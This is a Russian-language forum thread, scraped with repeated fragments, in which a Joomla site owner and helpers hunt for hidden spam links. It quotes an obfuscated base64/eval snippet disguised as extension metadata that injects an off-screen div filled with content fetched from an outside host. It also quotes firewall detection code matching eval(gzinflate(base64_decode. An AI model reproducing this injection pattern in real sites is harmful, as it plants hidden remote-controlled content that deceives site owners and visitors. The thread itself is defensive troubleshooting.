Подскажите, как найти где находятся скрытые ссылки на сайте сайт CMS: Joomla 1.5.26 одна из ссылок: loansonly(точка)net поиск тотала не помог поиск по сайту не помог закодировать в басе64 и искать тоталом не помогло сервис который показывает исходящие: икссе
и еще сейчас мысля пришла. Если-бы я ломал сайт, то разместил-бы 1 строчку с гет-запросом, которая-бы обращалась на какой-нить сайт и брала с него юрл - после чего пихала-бы в вывод.
по-подробнее можно? просто в этом не особо шарю, да и товарищ, который больше шарит не смог пока найти Проверьте, возможно ссылки через скрипт выводятся. как это сделать?
тогда надо искать что-то вида eval(gzinflate(base64_decode( или eval(base64_decode( Вообще сочетание эвал и base64_decode должно насторожить автоматом - это значит есть какой-то код, который хочется скрыть
Просмотрите к чему обращаются все эти дела. Имеет-ли это отношение к вашему сайту, если неизвестные адреса, можно временно закаментить. посмотреть, останется-ли ссылка
я думаю эти ссылки пипец как закодированы и спрятаны а спрятаны они в модулях наверно потому что 2 ссылки из модулей изничтожили но в остальных вроде как их нету
я без понятия сайт создал программист и сдал мне его 1,5 года назад т.к. я был не опытен, то ссылки заметил щас думаю что эти ссылки сидят в коде или в модулях, короче вшиты и это отголоски бесплатности скачанного шаблона
Если вы на тестовом, посмотрите, что-таки они декодируют а теперь попробуйте посмотреть, что они декодируют просто принтом выведите эти переменные. По очереди. Разумеется 74 штуки перебрать сложно еще посмотрите, если в радиусе нескольких строк есть eval то это первый кандидат на просмотр содержимого
Я бы все же проверил ВСЕ эти файлы. Начал бы с шаблона. Продолжил бы с модулей. И сделайте бэкап базы и тоже проверьте на всякий случай на ссылки и зашифрованный код. Вычислить где именно можно следующим способом: - если появляется на каких-то отдельных статьях - значит, в базе в данной новости - если в каком-то конкретном месте сайта на всех страницах (я сразу этого не заметил с главной страницы вашего сайта), то смотрите где именно - тогда можно судить про шаблон или модули.
да это я в курсе, только ссылок нет то вот что еще нашел if (!JFile::exists($file)) return null; $contents = JFile::read($file); if (strpos($contents, 'eval(gzinflate(base64_decode') !== false) { RSFirewallHelper::grade('-20'); return true; } $files = array(JPATH_SITE.DS.'tmp'.DS.'.config.php', JPATH_ADMINISTRATOR.DS.'modules'.DS.'mod_mainmenu'.DS.'tmpl'.DS.'.config.php', JPATH_SITE.DS.'modules'.DS.'mod_mainmenu'.DS.'tmpl'.DS.'.config.php'); foreach ($files as $file) if (JFile::exists($file)) только опять это ничего
методом перебора, это можно всю жизнь искать. Надо найти ссылающуюся страницу, в ней найти тот блок который ссылается и его уже шерстить. если-бы это было на каждой странице, то было-бы проще, а так может быть ссылка в контенте. надо редконтент посмотреть
Если-бы я ломал сайт, то разместил-бы 1 строчку с гет-запросом, которая-бы обращалась на какой-нить сайт и брала с него юрл - после чего пихала-бы в вывод.
разными способами с разными словами
но этих ссылок как будто в природе несуществует
посмотрите лог гет и пост запросов вашего сервера. если он ломится куда-то неизвестно куда, тогда ищите по юрлу
Проверьте, возможно ссылки через скрипт выводятся.
как это сделать?
но это все может быть зашифровано base64 и исполняться эвалом
Вообще сочетание эвал и base64_decode должно насторожить автоматом - это значит есть какой-то код, который хочется скрыть
открыл какой на changeloge.php >> # Task #2188 - curl_exec() has been disabled fix
а спрятаны они в модулях наверно
потому что 2 ссылки из модулей изничтожили
но в остальных вроде как их нету
В модули никто не лазил?
сайт создал программист и сдал мне его 1,5 года назад
т.к. я был не опытен, то ссылки заметил щас
думаю что эти ссылки сидят в коде или в модулях, короче вшиты и это отголоски бесплатности скачанного шаблона
а теперь попробуйте посмотреть, что они декодируют
просто принтом выведите эти переменные.
По очереди.
Разумеется 74 штуки перебрать сложно
еще посмотрите, если в радиусе нескольких строк есть eval то это первый кандидат на просмотр содержимого
И сделайте бэкап базы и тоже проверьте на всякий случай на ссылки и зашифрованный код.
Вычислить где именно можно следующим способом:
- если появляется на каких-то отдельных статьях - значит, в базе в данной новости
- если в каком-то конкретном месте сайта на всех страницах (я сразу этого не заметил с главной страницы вашего сайта), то смотрите где именно - тогда можно судить про шаблон или модули.
function UniversalAjaxSearchChecks() {// $UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";// Last Time Edit// $ExtensionAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";// Extension author// $ExtensionName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";// Get Extension Offlajn Name// $MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";// Get Domain Info// $SystemJoCode = $UnixTimeLastEdit.$ExtensionAuthor.$ExtensionName.$MainDomain;// Offlajn System// echo eval(base64_decode($SystemJoCode));// Copyright (c) Offlajn.comecho "<div style='position:absolute;left:-4501px;width:531px'> </div>"}?>
echo "<div style='position:absolute;left:-4501px;width:531px'>"; echo @file_get_contents('http://template-license.ru/license.php'); echo '</div>';
Что-то я не могу ниодной найти
вот что еще нашел
if (!JFile::exists($file)) return null; $contents = JFile::read($file); if (strpos($contents, 'eval(gzinflate(base64_decode') !== false) { RSFirewallHelper::grade('-20'); return true; } $files = array(JPATH_SITE.DS.'tmp'.DS.'.config.php', JPATH_ADMINISTRATOR.DS.'modules'.DS.'mod_mainmenu'.DS.'tmpl'.DS.'.config.php', JPATH_SITE.DS.'modules'.DS.'mod_mainmenu'.DS.'tmpl'.DS.'.config.php'); foreach ($files as $file) if (JFile::exists($file))
только опять это ничего
наш сайт welltorg.com туда вставить
if (strpos($contents, 'eval(gzinflate(base64_decode') !== false) { $new = new stdClass(); $new->file = $file; $pattern = '#eval\(gzinflate\(base64_decode\((.*)\)\)\);#'; if (preg_match($pattern, $contents, $match)) $contents = str_replace($match[0], '', $contents); $cleaned = JFile::write($file, $contents); $new->what = $cleaned ? 'Cleaned' : 'Could not clean'; $return[] = $new; }
(!$response->hasKey(Auth_OpenID_OPENID_NS, 'enc_mac_key')) { return null; }
$math =& Auth_OpenID_getMathLib();
$spub = $math->base64ToLong($response->getArg(Auth_OpenID_OPENID_NS, 'dh_server_public')); $enc_mac_key = base64_decode($response->getArg(Auth_OpenID_OPENID_NS, 'enc_mac_key'));
return $this->dh->xorSecret($spub, $enc_mac_key, $this->hash_func); }
и таких core с другими номерами штук до 10 и некоторые весят 75метров
Надо найти ссылающуюся страницу, в ней найти тот блок который ссылается и его уже шерстить.
если-бы это было на каждой странице, то было-бы проще, а так может быть ссылка в контенте.
надо редконтент посмотреть
2 дня и удалили
была в модуле поиска нашли и удалили
остальные проблематично
ссылки так и не нашел :(
нужны подсказки
остальные сами отвалились.
как найти скрытый скрипт, который их периодически проставляет???
http://sozdat-sayt.com.ua